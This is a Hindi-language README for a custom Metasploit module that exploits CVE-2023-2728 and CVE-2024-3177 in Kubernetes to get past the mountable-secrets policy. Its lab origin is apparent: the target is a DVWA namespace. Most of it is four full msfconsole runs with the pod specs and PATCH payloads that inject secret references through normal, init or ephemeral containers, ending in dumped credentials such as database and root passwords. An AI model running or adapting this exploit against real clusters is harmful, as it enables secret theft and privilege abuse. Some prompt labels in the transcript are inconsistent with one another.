CVE 2023-2728 और CVE 2024-3177 के लिए कस्टम Metasploit मॉड्यूल

विवरण

यह कस्टम मॉड्यूल Kubernetes के उन संस्करणों में CVE 2023-2728 और CVE 2024-3177 का शोषण करता है जो इनमें से प्रत्येक के लिए संवेदनशील हैं (उदाहरण के लिए v1.27.2 दोनों के लिए संवेदनशील है), दोनों Kubernetes में ServiceAccount एडमिशन प्लगइन द्वारा लागू माउंटेबल सीक्रेट्स नीति को बायपास करने से संबंधित हैं, विभिन्न प्रकार के कंटेनरों और रणनीतियों के साथ।
मुख्य उद्देश्य वांछित सीक्रेट्स प्राप्त करना और उन्हें उपयोगकर्ता के लिए आकर्षक तरीके से पर्यावरण चर में प्रस्तुत करना है।

सत्यापन चरण

क्रेडेंशियल्स बनाएं या प्राप्त करें

msfconsole प्रारंभ करें
करें: use auxiliary/cloud/kubernetes/double_secrets_cve
आवश्यक विकल्प सेट करें
करें: run.
आपको SECRET_NAME विकल्प में निर्दिष्ट सीक्रेट्स लाल रंग में हाइलाइटेड दिखने चाहिए।

विकल्प

CONTAINER_TYPE

msf6 > use cloud/kubernetes/double_secrets_cve msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CONTAINER_TYPE normal CONTAINER_TYPE => normal msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RHOSTS 192.168.49.2 RHOSTS => 192.168.49.2 msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RPORT 8443 RPORT => 8443 msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SECRET_NAME dvwa-secrets SECRET_NAME => dvwa-secrets msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SSL true [!] Changing the SSL option's value may require changing RPORT! SSL => true msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set NAMESPACE dvwa-tfm-mysql NAMESPACE => dvwa-tfm-mysql msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set POD_NAME cve-pod-1 POD_NAME => cve-pod-1 msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO... TOKEN => eyJhbGciO... msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > run [*] Running module against 192.168.49.2 [*] Fetching Kubernetes server version... [+] Kubernetes server version: v1.27.2 [+] The kube-apiserver version v1.27.2 is vulnerable to the selected CVE. [*] Creating pod with the following spec: {"apiVersion":"v1","kind":"Pod","metadata":{"name":"cve-pod-1","namespace":"dvwa-tfm-mysql"},"spec":{"containers":[{"name":"main-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"],"envFrom":[{"secretRef":{"name":"dvwa-secrets"}}]}],"restartPolicy":"Never"}} [*] Pod not found, creating a new one. [+] Pod created successfully: cve-pod-1 [*] Waiting for pod cve-pod-1 to be ready... [*] Pod cve-pod-1 status: Pending [+] Pod cve-pod-1 is running. [*] Established Kubernetes client. KUBERNETES_SERVICE_PORT=443 KUBERNETES_PORT=tcp://10.96.0.1:443 DVWA_MYSQL_SERVICE_PORT_3306_TCP_ADDR=10.99.148.252 HOSTNAME=cve-pod-1 SHLVL=1 DVWA_MYSQL_SERVICE_PORT_3306_TCP_PORT=3306 HOME=/root DVWA_MYSQL_SERVICE_PORT_3306_TCP_PROTO=tcp DVWA_MYSQL_SERVICE_SERVICE_HOST=10.99.148.252 ** SECRET ** DVWA_PASSWORD=p@ssw0rd ** SECRET ** DVWA_MYSQL_SERVICE_SERVICE_PORT=3306 DVWA_MYSQL_SERVICE_PORT=tcp://10.99.148.252:3306 ** SECRET ** DVWA_USERNAME=dvwa ** SECRET ** KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT_443_TCP_PROTO=tcp ** SECRET ** DVWA_DATABASE=dvwa ** SECRET ** ** SECRET ** DVWA_USERNAME=dvwa ** SECRET ** KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443 KUBERNETES_SERVICE_HOST=10.96.0.1 PWD=/ [+] Successfully retrieved environment variables from pod cve-pod-1 [*] Auxiliary module execution completed

msf6 > use cloud/kubernetes/double_secrets_cve msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CONTAINER_TYPE init CONTAINER_TYPE => init msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RHOSTS 192.168.49.2 RHOSTS => 192.168.49.2 msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RPORT 8443 RPORT => 8443 msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SECRET_NAME dvwa-secrets SECRET_NAME => dvwa-secrets msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SSL true [!] Changing the SSL option's value may require changing RPORT! SSL => true msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set NAMESPACE dvwa-tfm-mysql NAMESPACE => dvwa-tfm-mysql msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set POD_NAME cve-pod-2 POD_NAME => cve-pod-2 msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO... TOKEN => eyJhbGciO... msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > run [*] Running module against 192.168.49.2 [*] Fetching Kubernetes server version... [+] Kubernetes server version: v1.27.2 [+] The kube-apiserver version v1.27.2 is vulnerable to the selected CVE. [*] Creating pod with the following spec: {"apiVersion":"v1","kind":"Pod","metadata":{"name":"cve-pod-2","namespace":"dvwa-tfm-mysql"},"spec":{"containers":[{"name":"init-main-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"]}],"restartPolicy":"Never","initContainers":[{"name":"exploit-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"],"envFrom":[{"secretRef":{"name":"dvwa-secrets"}}]}]}} [*] Pod not found, creating a new one. [+] Pod created successfully: cve-pod-2 [*] Waiting for the init container to start... [*] Checking pod and container status... [+] Init container is running. [*] Retrieving environment variables from init container using Kubernetes API... [*] WebSocket connection opened KUBERNETES_SERVICE_PORT=443 KUBERNETES_PORT=tcp://10.96.0.1:443 DVWA_MYSQL_SERVICE_PORT_3306_TCP_ADDR=10.99.148.252 HOSTNAME=cve-pod-2 SHLVL=1 DVWA_MYSQL_SERVICE_PORT_3306_TCP_PORT=3306 HOME=/root DVWA_MYSQL_SERVICE_SERVICE_HOST=10.99.148.252 DVWA_MYSQL_SERVICE_PORT_3306_TCP_PROTO=tcp ** SECRET ** DVWA_PASSWORD=p@ssw0rd ** SECRET ** DVWA_MYSQL_SERVICE_PORT=tcp://10.99.148.252:3306 DVWA_MYSQL_SERVICE_SERVICE_PORT=3306 DVWA_MYSQL_SERVICE_PORT_3306_TCP=tcp://10.99.148.252:3306 ** SECRET ** ROOT_PASSWORD=dvwa ** SECRET ** KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT_443_TCP_PROTO=tcp ** SECRET ** DVWA_DATABASE=dvwa ** SECRET ** ** SECRET ** DVWA_USERNAME=dvwa ** SECRET ** KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443 KUBERNETES_SERVICE_HOST=10.96.0.1 PWD=/ [*] WebSocket connection closed: 1000, [*] Auxiliary module execution completed

msf6 > use cloud/kubernetes/double_secrets_cve msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CONTAINER_TYPE ephemeral CONTAINER_TYPE => ephemeral msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RHOSTS 192.168.49.2 RHOSTS => 192.168.49.2 msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RPORT 8443 RPORT => 8443 msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SECRET_NAME dvwa-secrets SECRET_NAME => dvwa-secrets msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SSL true [!] Changing the SSL option's value may require changing RPORT! SSL => true msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set NAMESPACE dvwa-tfm-mysql NAMESPACE => dvwa-tfm-mysql msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set POD_NAME cve-pod-3 POD_NAME => cve-pod-3 msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO... TOKEN => eyJhbGciO... msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > run [*] Running module against 192.168.49.2 [*] Fetching Kubernetes server version... [+] Kubernetes server version: v1.27.2 [+] The kube-apiserver version v1.27.2 is vulnerable to the selected CVE. [*] Creating pod with the following spec: {"apiVersion":"v1","kind":"Pod","metadata":{"name":"cve-pod-3","namespace":"dvwa-tfm-mysql"},"spec":{"containers":[{"name":"ephemeral-main-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"]}],"restartPolicy":"Never"}} [*] Pod not found, creating a new one. [+] Pod created successfully: cve-pod-3 [*] Waiting for pod cve-pod-3 to be ready... [*] Pod cve-pod-3 status: Pending [+] Pod cve-pod-3 is running. [*] Adding ephemeral container with the following spec: {"name":"ephemeral-container","image":"busybox","envFrom":[{"secretRef":{"name":"dvwa-secrets"}}],"command":["/bin/sh"],"args":["-c","sleep 3600"]} [*] Ephemeral container addition response code: 200 [*] Ephemeral container addition response message: OK [+] Successfully added ephemeral container to pod cve-pod-3 [*] Waiting for ephemeral container to be ready... [*] Ephemeral container status: {:waiting=>{:reason=>"ContainerCreating"}} [*] Reason: ContainerCreating [+] Ephemeral container is running. [*] Waiting for ephemeral container to be ready... [+] Ephemeral container is running. [*] Retrieving environment variables from ephemeral container using Kubernetes API... [*] WebSocket connection opened KUBERNETES_PORT=tcp://10.96.0.1:443 KUBERNETES_SERVICE_PORT=443 DVWA_MYSQL_SERVICE_PORT_3306_TCP_ADDR=10.99.148.252 HOSTNAME=cve-pod-3 SHLVL=1 DVWA_MYSQL_SERVICE_PORT_3306_TCP_PORT=3306 HOME=/root DVWA_MYSQL_SERVICE_SERVICE_HOST=10.99.148.252 DVWA_MYSQL_SERVICE_PORT_3306_TCP_PROTO=tcp ** SECRET ** DVWA_PASSWORD=p@ssw0rd ** SECRET ** DVWA_MYSQL_SERVICE_PORT=tcp://10.99.148.252:3306 DVWA_MYSQL_SERVICE_SERVICE_PORT=3306 DVWA_MYSQL_SERVICE_PORT_3306_TCP=tcp://10.99.148.252:3306 ** SECRET ** ROOT_PASSWORD=dvwa ** SECRET ** KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT_443_TCP_PROTO=tcp ** SECRET ** DVWA_DATABASE=dvwa ** SECRET ** ** SECRET ** DVWA_USERNAME=dvwa ** SECRET ** KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443 KUBERNETES_SERVICE_HOST=10.96.0.1 PWD=/ [*] WebSocket connection closed: 1000, [*] Auxiliary module execution completed

msf6 > use cloud/kubernetes/double_secrets_cve msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CVE 2023-2728 CVE => 2023-2728 msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CONTAINER_TYPE ephemeral CONTAINER_TYPE => ephemeral msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RHOSTS 192.168.49.2 RHOSTS => 192.168.49.2 msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RPORT 8443 RPORT => 8443 msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SECRET_NAME dvwa-secrets SECRET_NAME => dvwa-secrets msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SSL true [!] Changing the SSL option's value may require changing RPORT! SSL => true msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set NAMESPACE dvwa-tfm-mysql NAMESPACE => dvwa-tfm-mysql msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set POD_NAME cve-pod-4 POD_NAME => cve-pod-4 msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO... TOKEN => eyJhbGciO... msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > run [*] Running module against 192.168.49.2 [*] Fetching Kubernetes server version... [+] Kubernetes server version: v1.27.2 [+] The kube-apiserver version v1.27.2 is vulnerable to the selected CVE. [*] Creating pod with standard configuration in namespace: dvwa-tfm-mysql with service account: sa-web [*] Pod not found. Proceeding with pod creation. [+] Successfully created pod cve-pod-4 in namespace dvwa-tfm-mysql [*] Waiting for pod cve-pod-4 to be ready... [*] Pod cve-pod-4 status: Pending [+] Pod cve-pod-4 is running. [*] Attempting to add ephemeral container to access secrets... [*] Performing PATCH request with the following data: {"spec":{"ephemeralContainers":[{"name":"ephemeral-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"],"env":[{"name":"DVWA_DATABASE","valueFrom":{"secretKeyRef":{"name":"dvwa-secrets","key":"DVWA_DATABASE"}}},{"name":"DVWA_PASSWORD","valueFrom":{"secretKeyRef":{"name":"dvwa-secrets","key":"DVWA_PASSWORD"}}},{"name":"DVWA_USERNAME","valueFrom":{"secretKeyRef":{"name":"dvwa-secrets","key":"DVWA_USERNAME"}}},{"name":"ROOT_PASSWORD","valueFrom":{"secretKeyRef":{"name":"dvwa-secrets","key":"ROOT_PASSWORD"}}}]}]}} [+] Response received [+] Ephemeral container successfully added to pod cve-pod-4 [*] Waiting for ephemeral container to be ready... [*] Ephemeral container status: {:waiting=>{:reason=>"ContainerCreating"}} [*] Reason: ContainerCreating [+] Ephemeral container is running. [*] Attempting to access environment variables from the ephemeral container... [*] WebSocket connection opened KUBERNETES_PORT=tcp://10.96.0.1:443 KUBERNETES_SERVICE_PORT=443 DVWA_MYSQL_SERVICE_PORT_3306_TCP_ADDR=10.99.148.252 HOSTNAME=cve-pod-4 SHLVL=1 DVWA_MYSQL_SERVICE_PORT_3306_TCP_PORT=3306 HOME=/root DVWA_MYSQL_SERVICE_SERVICE_HOST=10.99.148.252 DVWA_MYSQL_SERVICE_PORT_3306_TCP_PROTO=tcp ** SECRET ** DVWA_PASSWORD=p@ssw0rd ** SECRET ** DVWA_MYSQL_SERVICE_SERVICE_PORT=3306 DVWA_MYSQL_SERVICE_PORT=tcp://10.99.148.252:3306 DVWA_MYSQL_SERVICE_PORT_3306_TCP=tcp://10.99.148.252:3306 ** SECRET ** ROOT_PASSWORD=dvwa ** SECRET ** KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT_443_TCP_PROTO=tcp ** SECRET ** DVWA_DATABASE=dvwa ** SECRET ** ** SECRET ** DVWA_USERNAME=dvwa ** SECRET ** KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443 KUBERNETES_SERVICE_HOST=10.96.0.1 PWD=/ [*] WebSocket connection closed: 1000, [*] Auxiliary module execution completed

Metasploit-Module-TFM

सबसे लोकप्रिय

CVE

IMAGE

NAMESPACE

POD_NAME

PROXIES

RHOSTS

RPORT

SECRET_NAME

SESSION

SSL

TARGET_URI

TOKEN

VHOST

परिदृश्य

CVE-2024-3177 का शोषण करने के लिए regular containers के साथ चलाएं (डिफ़ॉल्ट विकल्प)

CVE-2024-3177 का शोषण करने के लिए init containers के साथ चलाएं

CVE-2024-3177 का शोषण करने के लिए ephemeral containers के साथ चलाएं

CVE-2023-2728 का शोषण करने के लिए ephemeral containers के साथ चलाएं